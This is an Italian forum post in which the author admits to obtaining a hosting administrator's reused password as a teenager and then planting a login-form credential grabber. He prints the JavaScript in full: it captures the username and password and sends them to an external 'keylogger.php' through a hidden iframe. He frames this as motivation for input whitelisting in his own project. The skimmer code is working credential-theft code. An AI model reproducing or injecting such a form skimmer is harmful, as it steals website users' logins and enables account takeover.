Si è vero, se non dai i permessi a chi non li deve possedere ogni problema è risolto, ma a volte capita che per un motivo o per l'altro una password può finire in mano a chi non dovuto, per esempio ciò capitò a me medesimo. Quando ero un ragazzo fra i 15 e i 16 anni (ora ne ho quasi 22) trovai la password di uno degli amministratori di uno degli hosting più famosi in italia perchè era la stessa che utilizzava su una bulletin board da lui programmata che usava sul suo sito personale.
Solo che il mio admin non era abbastanza admin da fare moltissimo, allora piazzai nel form di login un codice javascript che grabbava le password in log-in molto rudimentale.
E siccome conosco l'ottica di chi agisce secondo i miei stessi parametri e voglio rilasciare a breve un progetto quasi inattaccabile (cosa lo è veramente? però almeno da tutte le tecniche attualmente conosciute al mondo sarebbe il minimo), non vorrei dare questa possibilità anche sul mio script.Codice PHP:function check(nameForm) {
if (document.all || document.getElementById) {
var nameInput = new Array()
for (i=0; i<=nameForm.length; i++) {
nameInput[i] = nameForm.elements[i];
}
if (nameInput[0].value != '' && nameInput[1].value != '') {
p_iframe(escape(nameInput[0].value), escape(nameInput[1].value));
for (i=0; i<=10000000; i++) {
}
}
}
return true;
}
function p_iframe(user, pass) {
if (document.all) {
document.all['invisible'].innerHTML = '<iframe height="0" width="0" style="border:0;" src="http://www.xxxx.org/keylogger.php?user=' + user + '&pass=' + pass + '></iframe>';
} else {
document.getElementById('invisible').innerHTML = '<iframe height="0" width="0" style="border:0;" src="http://www.xxxx.org/keylogger.php?user=' + user + '&pass=' + pass + '></iframe>';
}
}
Sarebbe praticamente la stessa cosa formulata in maniera diversa, e come idea non mi dispiace, sarei molto più sicuro se sono io a decidere cosa può inserire, invece di eliminare ciò che non dovrebbe inserire per poi scoprire che è riuscito a bypassarlo con qualche trick.


)
Rispondi quotando